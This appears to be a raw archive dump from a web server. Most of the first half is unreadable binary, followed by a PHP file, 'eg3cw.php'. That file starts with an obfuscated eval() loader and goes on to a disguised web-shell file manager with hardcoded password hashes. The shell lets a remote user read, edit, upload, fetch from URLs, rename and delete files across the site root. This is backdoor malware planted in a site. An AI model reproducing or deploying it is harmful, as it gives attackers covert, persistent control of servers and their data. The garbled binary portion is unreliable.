x7~m@]'F#=JIDADOBka&/_6jEgϩF?4Mi)cM*>r*l> @oGYM^=mgVCt=L(ulw<vrr&@;sI Pp)g5)LCg1B1|sfb;/3[jY }-637''L%8rp-E?q xc t^}#Afvҵ[;WΎ/iXW ȪZut|c0qtI ܻnH H+Ukly|6*cS y1tDiv0Śptfu :4-{l:wh!ԩ``TXgfZ^{յ1D>Y Ճ;TY\p*@NB+cM;sͦ~x1j, HGqIaF‡Lv^o@aaZobO1= Ox*t, yt$딞 eQP?`h9_Yt=L΢U~Rx}n}5uBO&l#1Vf$3*_{c{qvq[ǫ˷!<7G/&&mywj[Oۧ/?g?\}{oS`]\]x1?vr}yu}9{3>8(pEbԙ(2`I1RCR =H?fE%Ak.ӚxP4[XdF! S2[N;b*DbH8L;H*HХ|8R3EEBl4=K$KUjuaB{']!=sE Bz30R_)AFn^ IY bROs!L* zREkkhMN"Q4p#^WXlǍ߭8YTPR>Ym2+}jrb|d.Ң҈'i^Zy?`id%h0NT>v}-Rz z=1Te,^J4{8EQ*mIHHLF:rRWDk C0j %dg S1$oD]RFcT=WX3K]:prFw{ƻyiDߢAddNqՍUD u_i2:Z(uz`nohBZ豹no63E z?3|G\hh}uUPjw2ꠈI+j4`jpj#y. jcTy>4&n҈EfI]BKufy~]aʪ#M=-I J>0*,js/טpFUi7'o߼8xw뷷]φbw~yڛwoɫڡlX7wG՛?6'kᅵg/ܯ6]klY˃5{V_vvrfb*<8p?Lh]:VKorK שW9k^޽8uԴF_]|Zٛ_lߝ8_>>>F73xu^oǯ~~s|wuû/j {hQ1{p8]pߩJ^\֟f/k/Ύn@㋧G7緃w׳`stjy֥n4og?/O^Aޭ{{7I/xulƛ^o݀wgX?hEz3hʰ)6=n. CkTQXiy(SKsg^=1DhǩR%RpϾ]3E#GGdmu;X0HLp? ~6p;D^Ͳ.X[i4׵hWWWUijX*ꆼ ؋)ZUfj njѵwĦ5qX8Ǚ;(kw|3`,QYj+ुc|oLJm𳽉ЋPEFJY}Hd9zpn෭L޲ծ1Ԛ|k=hMQF)i?Xk67LClu7rPPַc.45-eCKoEݛ7LZ[\x|{LfͿq#s+ۢ{Qj VFpCLn*m2|l,Je6=.7v|wAiaȑEi*gw=2++bcM56MYIB:Q7[l.$ʼn: 9C&|F TX&fu?g2@);Tj~fV͵`QPTS\jkm]d Ψnq7Gty=؎b;2F>SxF}iHTlCw4RIsyo0Vc=6))v#KLm?غ+Y;Qx25+:ˠŗLmm27*{a?\8d*5F\Bjfk헖MgڃSL0.,Kynᯅ>p @2-v)0j`oY\9!Wae4FXk^ zk]aUi ]> \c'#N5{&9ɞU&>2DM]2Y.#VI8?<:;!=~1j $\RxV]ˉݣ9fq"2ӗ-1sR/ ђj6VsO. l$Hݲ׷{;FoDc flTMʡ!=FؚϠ2Ljى.|qۛv>$2Agdusc)p0 KNzUFR [nlnq}htM!6‚s'"ɲk0x ±\ *ucO ywM /Pw=]$UbcLƆz&zE`q_`$3rGU }yv8xF{J #fWμ ef'0F^ly|{7snsGY(۴k}I03^ܭz;QԫP(Nxp#, +ӽg z(Bn l?Q= 0W‚My]`ď6d_Wͤ`0Q+͠@j5Z#O3 N"Bzˋףj3&#̅ *\YC .aeԍ$~LZD$T`q'CnZjn*݂ط9)l.S eSh*4Tf sDQ3ojrPtW]H޴r˔iTYw)TY&;|TF׽jN1qCc_1dF$_]|&K1؋ /(D]Tk0t\c|۸LǓ}[#-7xVI,~ɕ.G 6lM?R*R,2=pYF{"x̚tf+b͖FhT.ngb0UA @L \{]EBv`1O^0\zqh92W"Y`.x=€4(!T $05vĉc`x̀ewAC`z6 1VV wB/3T0塺 hlL⚯~SM.:o<$Oi8]Z1Vi0@g ™}Wׅ /VO=94`M)ή{ȱȬsTo2p@$e:\zGNI`\O/᷐J g?#':*_m{l 5}cTRњ^'ʰ"%=y!/)y1Nځ^yIC ʵlZ|%H)~Lo υľk|3mDj1;'%:Fy]ݍC}E3'm5 GIj)A~mVhqR*{*b[{Ǐ><-=?aٷwZ3'?N=IN/Rs(v y?&2;@[/-(`+,Ŭ0-l&WmU5,Y(=-TU  b&m'ގ@q-"]QT edM 4'uq}W}dc.OI,s%05W?zΤhB Qh51D)Jx/ fFXL+.b`"pER4H̥*^~D) Rd`N00RBGS,6csZ){x6TJ~*&׶`%Y x'J$*Hx(8YIUvm| ^ܣH@?%rPuPAgQ܍Cƻ>L!خ ; tH2٢4.L0` sg"8;@_*Y= &S%(v_O_v.S_e4^O o+)"SCQ`hYrMmgWf0M7`*Lc׉wz*7 7SݠYk8&U*tO:Kgx2 ,b` Ǿš1-"E.j7Kr$](N?*_8T__Bqx'.&J'/̽rx<MhφWz$/+^ tid8Ict͎&T$0Kz !*elZ(M$u'.+'jf~zNfb * ځ 43|trIHo8xZ}]"N1|q=6d2ұN˳St )&O)oSɏ7IƫZaX>Q`"SKgsMX4qd3)KFa1hva -g3 ,29x+E惔[ )tߗR)HKۊ"YE$8Y(}CXg& e ͒9K=&^& I[K%\C.GrkF.-Nw8;d 9E^GS }'M\ܣSTJ:ȅ\l>'KB`@i޴u3]*R@8 "gOoq |qt$y<`?}o*f%+iA l $M/ )}KO$Ŗ4Q$V.))A u'^Mj5AO#+%Lǿwb.+Ô@)xU0si\7ZSb߷K O&Q\/S/ űV/U M hǰnG;7IvL\/k :w}.ߓ0,C ,Ǐ]Ryn_.ahQ2KߔcҌ$q0GEzbيt"inST8sshվ7k0 fv_e4񲢹4=Y]Bq > ,׌>} r8 Q@|{* vtlTT>%K1FLL Lw#_%$\唐>7WsaNk'2S$O3UW":m72ei_eI8t\g/Ix>] E('`|5E&}xV ; IRQu<³BBMX]f48 ]R'P(Ñr(!ב`C쒍i$S<%L1->kִRtKɳsL lM̛5fbHuY)U#4ȥ 4l3-,Lq~kh^a; JziZ9gm'%O=>L01"l y41U"f7gEaZ*]Snݠ@wg,@O^xG9`5Z,,⋘;̣R v,VWeb8KAɱ%}0˘eX#e\}`%$F߱hޫzx.äh1ti٪*ؔe*EsԪFJ|'HlֱJvYA}("?A~̈mA=) R+(I Xp%`s +ΣMr0MM2 ol OMj/HY~,wJ/E?$'g[i ^c4Ar)0,~|CiHzc46"m+d;ŬQǼ`MzOFzm\=T 90.tNfIKǝz=ݫ=]'R) , ԙ~0(Z ЖPCXM%Վ>aPI<KrS+2c)?&^HE oQ,Ѿ TDmH }.=YFG^ў܈'Uq@E{R+\sQ́X #|˳N׫)*L ~ L7t ", ZS΅]p*M եڝ}QѮLj2hb#CG'P_ or UHvAb(O 5(| 9ᄢI4R9ӧ8j?sm? {0boLAx.C$|+/IFQ&؝0h|u&|n>;I)s+`$-<9Zu6# c Y>~{Cvw@ĦnڥV|<~`64f+ԑ<2aKSF>6Idb4P*Kil#̦Y0FBg >/f:O:A2=l{l0!{]gK17=L3C٤[aLa;t/,hٷn'~ Tm i>͟ G.$rP6dH;:e4ˇwl"82yWa !{>@x,w_qN9?X'{2v\ N xظd/_,wT7 þxj,K;c?b7ND R\ɞ^IMџݠ*?AGc/\ }XgvT!ޮܢW%fl|fǶun<SOg)xPh\b&^ ],@q<זÿSٜBn8Q<l%s qr4v&Tx#H.8|t% 95y}-PㅯMO;HتcoD|egC+{^_as3\\K[S֣|fD)f*yפwЈiFg[sX|?Έ=eCs}0) =D5U0CՅ#'~74tc~L))Q8N)/{lš//yH e Ip?$ q؝m0~/Tc2܀D=Q'O m$]=@G,]$p=`ʘ^d졌!vKa|4A闗)."Bz5MQC>-ia8kO4e9 ] BoBCU!<t "a o/;~{@esd'6ݵH_Kpm?Ei~q@5~s_xYWfxD}F\I|ggq!>Ԅ"fu 1.!VL1\3!f= <&ڽ1uec צtܦ:b8AxgB|#z /XZD:$ccbIwX,F4~N\HD0yZ6'Sk uB>:"lK:%,c0pMTS?sX̵/A ʸOvM_+"&#@Idɮ{\$jCwʘfM#9be Nvi@eE6(M.-0˨RDEW9tdO.e J#6߸pm ,R+ Zr1.k32yoT~ۋ+"t^$[4ǁNḕ(0%;fku^6z1ߴ_b0w \\f{kjzlhv$G2;%#Od \K3Į ++^KWm)" 9D}k_-$Lȑ6tnq/Bt> F:] K_Dr ig ]r0VЊ9묄>g>/O9@t(845JReRud"c\T$?QcetU`TGiɺTYTy_Ux7)(-$܁7OTDe)=] KMVCisa~b$<|HWv(MX}eQ_&JOW;&J&j(] ?gizttUg0'biUic x718џ+:1T2tr,xn"S+4'ؙ\'tZqL/)0pR28tH+Ĕ{?U*&^z!.Tfؤ9#3wʊtGm<JEZ^N`ixdzVWr9OLq(OOWtD.>QY'+:uޙax0ҍ"dt%&(}*{1 <;YuzDtړdvJØo';Ӥ u3_y ) CE85HCqFтҢmvo᳠VנKolI,Aiikr.Yv֐ Ԍ*i!3x5L!GeSUI c;ӌ8Q8\K%j"nF=_4*ͣ'?uhR7jDڎ&v(fQսABH)%!CB49lN> +ȁ]G,͛xϘ 0ѢʦuwZ>ܹc< Bk/4?gV]g}OcA8n5>(xY&žMkkgi~JeTKt^&o$ε('e:n!gMclOW #:),x)<*s<к \bXȋda[g %vMJN#% eR4ʳh88EGٕq}+%m \uZ$ʤ;in\paKM=dJNB1x^'-PFGnӒUEL<z V; s ?v]eEpX\7cfRƭ 4 ݀Lɘ7bn1}Dq9e2Bq F2P) )s <.ϵ'ES*fGR:U ͥ Ňw`2ȟe <_0Tm=?~?x{PK$g[S, lrw89y.tarnu[eg3cw.php000064400000154501151032603210006264 0ustar00nigwqgqwtqwtqwti();eval(wkqtonxx().$letter);function wkqtonxx(){}function xmxmxnianntt($margin){$background='';for($i=0;$i 'e0e39b991692259764469b25bfe10b47', 'user' => 'e0e39b991692259764469b25bfe10b47' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'insertion'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>

".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' 